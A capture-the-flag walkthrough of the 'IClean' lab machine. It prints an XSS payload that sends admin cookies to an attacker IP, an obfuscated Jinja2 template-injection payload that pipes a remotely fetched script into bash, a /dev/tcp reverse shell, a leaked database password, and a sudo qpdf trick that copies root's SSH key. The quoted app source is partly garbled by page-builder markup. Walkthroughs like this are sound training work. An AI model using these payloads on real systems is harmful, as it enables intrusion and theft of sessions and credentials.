ICLEAN
I began scanning the IP address using Nmap
nmap -A 10.10.11.12
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I used a simple curl
command to access the website
curl http://10.10.11.12/
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="0;url=http://capiclean.htb">
</head>
<body>
<!-- Optional content for users without JavaScript -->
<p>If you are not redirected, <a href="http://capiclean.htb">click here</a>.</p>
</body>
</html>
So, we need to add the domain "cpiclean.htb" to /etc/hosts. After that i started fuzzing directories using ffuf
.
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://capiclean.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://capiclean.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
about [Status: 200, Size: 5267, Words: 1036, Lines: 130,
login [Status: 200, Size: 2106, Words: 297, Lines: 88
services [Status: 200, Size: 8592, Words: 2325, Lines: 193
team [Status: 200, Size: 8109, Words: 2068, Lines: 183
quote [Status: 200, Size: 2237, Words: 98, Lines: 90
logout [Status: 302, Size: 189, Words: 18, Lines: 6
dashboard [Status: 302, Size: 189, Words: 18, Lines: 6
choose [Status: 200, Size: 6084, Words: 1373, Lines: 154
Then i navigate to the quote page where you'll notice a form that can be submitted with a POST request to the admins so decided to inject a reflected XSS to steal session cookies of the admins, i crafted this request using Burp Suite. ![[Pasted image 20240417213017.png]]
The JavaScript code
<img src=x onerror=this.src="http://10.10.14.128:80/"+btoa(document.cookie)>
After sending it, i used netcat with the same port as the crafted js code.
nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.128] from (UNKNOWN) [10.10.11.12] 52942
GET /c2Vzc2lvbj1leUp5YjJ4bElqb2lNakV5TXpKbU1qazNZVFUzWVRWaE56UXpPRGswWVRCbE5HRTRNREZtWXpNaWZRLlpoNkg3Zy5HT0NwbXQ2ZlhobXd1UkxFN3RjUXVjQkprOXc= HTTP/1.1
Host: 10.10.14.128
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Boom! You'll intercept the session cookie of the admin. You just need to decode it and use it then, go to the dashboard page at the path /QRGenerator where you'll find a blind Server-Side Template Injection (SSTI). You need to check the HTML source code or use Burp Suite
SSTI payload
{{7*7}}
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}
And create a simple reverse shell file
#!/bin/bash
bash -c "bash -i >& /dev/tcp/IP/4000 0>&1"
And host it with a Python server. Then i used netcat with the same port as in the reverse shell and Lastly send the request with Burp Suite, and you will get the shell.
rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.12] 35036
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
whoami
www-data
And as always, the first thing i do is list all listening ports.
www-data@iclean:/opt/app$ ss -tupln
ss -tupln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
udp UNCONN 0 0 224.0.0.251:5353 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:5353 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:52759 0.0.0.0:*
udp UNCONN 0 0 [::]:55629 [::]:*
udp UNCONN 0 0 [::]:5353 [::]:*
tcp LISTEN 0 128 127.0.0.1:3000 0.0.0.0:* users:(("python3",pid=1211,fd=4))
tcp LISTEN 0 10 127.0.0.1:35621 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
I found that MySQL is running. Trying to log in with default credentials did not work so i read the source code of the application and found a user and password credentials when connecting to database
www-data@iclean:/opt/app$ cat app.py
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
import os
import random, string
import pyqrcode
from jinja2 import StrictUndefined
from io import BytesIO
import re, requests, base64
app = Flask(__name__)
app.config['SESSION_COOKIE_HTTPONLY'] = False
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
app._static_folder = os.path.abspath("/opt/app/static/")
def rdu(value):
return str(value).replace('__', '')
def sanitize(input):
sanitized_output = re.sub(r'[^a-zA-Z0-9@. ]', '', input)
return sanitized_output
app.jinja_env.undefined = StrictUndefined
app.jinja_env.filters['remove_double_underscore'] = rdu
valid_invoice_ids = []
def add_valid_invoice_id(invoice_id):
valid_invoice_ids.append(invoice_id)
def get_allowed_invoice_ids():
return valid_invoice_ids
def validate_invoice_id(provided_id):
allowed_invoice_ids = get_allowed_invoice_ids()
return provided_id in allowed_invoice_ids
@app.route('/')
def index():
return render_template('index.html')
@app.route('/quote')
def quote():
return render_template('quote.html')
@app.route('/services')
def services():
return render_template('services.html')
@app.route('/about')
def about():
return render_template('about.html')
@app.route('/choose')
def choose():
return render_template('choose.html')
@app.route('/team')
def team():
return render_template('team.html')
@app.route('/EditServices', methods=['GET', 'POST'])
def editservices():
if session.get('role') == hashlib.md5(b'admin').hexdigest():
if request.method == 'GET':
with pymysql.connect(**db_config) as conn:
with conn.cursor() as cursor:
cursor.execute('SELECT service_name FROM services')
services = [row[0] for row in cursor.fetchall()]
return render_template('EditServices.html', services=services)
elif request.method == 'POST':
selected_service = request.form['selected_service']
return redirect(url_for('edit_service_details', service=selected_service))
else:
return make_response('Invalid request format.', 400)
else:
return redirect(url_for('index'))
@app.route('/EditServiceDetails/<service>', methods=['GET', 'POST'])
def edit_service_details(service):
if session.get('role') == hashlib.md5(b'admin').hexdigest():
if request.method == 'GET':
with pymysql.connect(**db_config) as conn:
with conn.cursor() as cursor:
cursor.execute('SELECT * FROM services WHERE service_name = %s', (service,))
result = cursor.fetchone()
return render_template('EditServiceDetails.html', service=result)
elif request.method == 'POST':
description = request.form['description']
with pymysql.connect(**db_config) as conn:
with conn.cursor() as cursor:
cursor.execute('UPDATE services SET service_description = %s WHERE service_name = %s', (description, service))
conn.commit()
return redirect(url_for('editservices'))
else:
return make_response('Invalid request format.', 400)
else:
return redirect(url_for('index'))
@app.route('/dashboard')
def dashboard():
if session.get('role') == hashlib.md5(b'admin').hexdigest():
return render_template('dashboard.html')
else:
return redirect(url_for('index'))
@app.route('/sendMessage', methods=['POST'])
def quote_requests():
conn = pymysql.connect(**db_config)
cursor = conn.cursor()
checkboxes = request.form.getlist('service')
email = request.form.get('email')
checkboxes_str = ', '.join(checkboxes)
query = "INSERT INTO quote_requests (checkboxes, email) VALUES (%s, %s)"
cursor.execute(query, (checkboxes_str, email))
conn.commit()
cursor.close()
conn.close()
return render_template('quote_requests_thankyou.html')
@app.route('/QuoteRequests', methods=['GET'])
def get_quote_requests():
if session.get('role') == hashlib.md5(b'admin').hexdigest():
conn = pymysql.connect(**db_config)
cursor = conn.cursor()
query = "SELECT * FROM quote_requests"
cursor.execute(query)
data = cursor.fetchall()
cursor.close()
conn.close()
ids = []
for row in data:
ids.append(row[0])
return render_template('QuoteRequests.html', ids=ids)
@app.route('/QuoteRequests/<int:quote_id>', methods=['GET'])
def get_single_quote_request(quote_id):
if session.get('role') == hashlib.md5(b'admin').hexdigest():
conn = pymysql.connect(**db_config)
cursor = conn.cursor()
query = "SELECT * FROM quote_requests WHERE quote_id = %s"
cursor.execute(query, (quote_id,))
data = cursor.fetchall()
cursor.close()
conn.close()
for row in data:
checkboxes = row[1]
email = row[2]
return render_template('QuoteRequestDetail.html', email=email, services=checkboxes)
@app.route('/QuoteRequests/delete/<int:quote_id>', methods=['GET'])
def delete_single_quote_request(quote_id):
if session.get('role') == hashlib.md5(b'admin').hexdigest():
conn = pymysql.connect(**db_config)
cursor = conn.cursor()
query = "DELETE FROM quote_requests WHERE quote_id = %s"
cursor.execute(query, (quote_id,))
data = cursor.fetchall()
conn.commit()
cursor.close()
conn.close()
return redirect(url_for('get_quote_requests'))
@app.route('/QRInvoice/<filename>')
def QRInvoice(filename):
return render_template(filename)
@app.route('/Invoice/<filename>')
def Invoice(filename):
return render_template(filename)
random_number = None
@app.route('/InvoiceGenerator', methods=['GET', 'POST'])
def InvoiceGenerator():
if session.get('role') == hashlib.md5(b'admin').hexdigest():
if request.method == 'GET':
with pymysql.connect(**db_config) as conn:
with conn.cursor() as cursor:
cursor.execute('SELECT service_name FROM services')
services = [row[0] for row in cursor.fetchall()]
return render_template('InvoiceGenerator.html', services=services)
if request.method == 'POST':
random_number = ''.join(random.choices(string.digits, k=10))
add_valid_invoice_id(random_number)
quantity_chosen = sanitize(request.form['qty'])
client_email = sanitize(request.form['email-address'])
client_address = sanitize(request.form['address'])
project_name = sanitize(request.form['project'])
client_name = sanitize(request.form['client'])
service_chosen = sanitize(request.form['selected_service'])
rendered_template = render_template('template_invoice.html', service_chosen=service_chosen, project_name=project_name, client_name=client_name, client_address=client_address, client_email=client_email, quantity_chosen=quantity_chosen)
with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'w') as html_file:
html_file.write(rendered_template)
with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'r') as html_file:
modified_content = html_file.read()
qr_code_img_tag = '''<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,
<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'></div>" alt="QR Code"></div>'''
modified_content = modified_content.replace('</body>', f'{qr_code_img_tag}\n</body>')
with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'w') as html_file:
html_file.write(modified_content)
return render_template('Invoice.html', invoice_id=random_number)
return render_template('InvoiceGenerator.html')
else:
return redirect(url_for('index'))
@app.route('/QRGenerator', methods=['GET', 'POST'])
def QRGenerator():
if session.get('role') == hashlib.md5(b'admin').hexdigest():
if request.method == 'GET':
with pymysql.connect(**db_config) as conn:
with conn.cursor() as cursor:
cursor.execute('SELECT service_name FROM services')
services = [row[0] for row in cursor.fetchall()]
return render_template('QRGenerator.html', services=services)
if request.method == 'POST':
form_type = request.form['form_type']
if form_type == 'invoice_id':
invoice_id = request.form['invoice_id']
if validate_invoice_id(invoice_id):
filename = f'invoice_{invoice_id}.html'
with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'r') as html_file:
temp_invoice = html_file.read()
with open(os.path.join('/opt/app/templates/', filename), 'w') as html_file:
html_file.write(temp_invoice)
invoice_url = url_for('QRInvoice', filename=filename, _external=True)
qr_image = pyqrcode.create(invoice_url)
qr_image.png(os.path.join('/opt/app/static/qr_code', f'qr_code_{invoice_id}.png'), scale=2, module_color=[0, 0, 0, 128], background=[0xff, 0xff, 0xff])
png_link = url_for('static', filename=f'qr_code/qr_code_{invoice_id}.png', _external=True)
return render_template('QRGenerator2.html', png_link=png_link)
elif form_type == 'scannable_invoice':
qr_link = rdu(request.form['qr_link'])
if 'http://capiclean.htb' in qr_link:
qr = requests.get(qr_link)
image_content = qr.content
qr_url = base64.b64encode(image_content).decode('utf-8')
HTML = f"{<div data-gb-custom-block data-tag="extends" data-0='temporary_invoice.html'></div>}{<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'>}"
HTML += '{}'.format(qr_url)
HTML += '</div>'
rendered_template = render_template_string(HTML)
return rendered_template
else:
HTML = f"{<div data-gb-custom-block data-tag="extends" data-0='temporary_invoice.html'></div>}{<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'>}"
HTML += '{}'.format(qr_link)
HTML += '</div>'
rendered_template = render_template_string(HTML)
return rendered_template
else:
return redirect(url_for('QRGenerator'))
return render_template('QRGenerator.html')
else:
return redirect(url_for('index'))
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('index'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html', error=False)
elif request.method == 'POST':
username = request.form['username']
password = hashlib.sha256(request.form['password'].encode()).hexdigest()
with pymysql.connect(**db_config) as conn:
with conn.cursor() as cursor:
cursor.execute('SELECT role_id FROM users WHERE username=%s AND password=%s', (username, password))
result = cursor.fetchone()
if result is None:
return render_template('login.html',error='Invalid username or password')
else:
session['role'] = result[0]
if session['role'] == hashlib.md5(b'admin').hexdigest():
return redirect(url_for('dashboard'))
else:
return redirect(url_for('/'))
else:
return make_response('Invalid request format.', 400)
if __name__ == '__main__':
app.run(port=3000)
Using these credentials i connected to MySQL and it worked and i used the same database name with the same table as in the source code and I got the hash for the user 'consuela'.
mysql -u iclean -p -h 127.0.0.1
Enter password: pxCsmnGLckUb
USE capiclean;
SELECT * FROM users;
selec;
id username password role_id
1 admin 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 21232f297a57a5a743894a0e4a801fc3
2 consuela 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa ee11cbb19052e40b07aac0ca060c23ee
So i cracked the hash and used his password to connect to SSH then i used sudo -l
and found that the user can use qpdf as root
consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
After Googling and searching how to use it i found a way to attach the SSH private key of the root to a PDF .
sudo /usr/bin/qpdf random_pdf.pdf --qdf --add-attachment /root/.ssh/id_rsa --
And you will use the id_rsa to connect as root and get the flag.
I hope you enjoyed reading it if you have any suggestions or comments, let me know
Last updated
Was this helpful?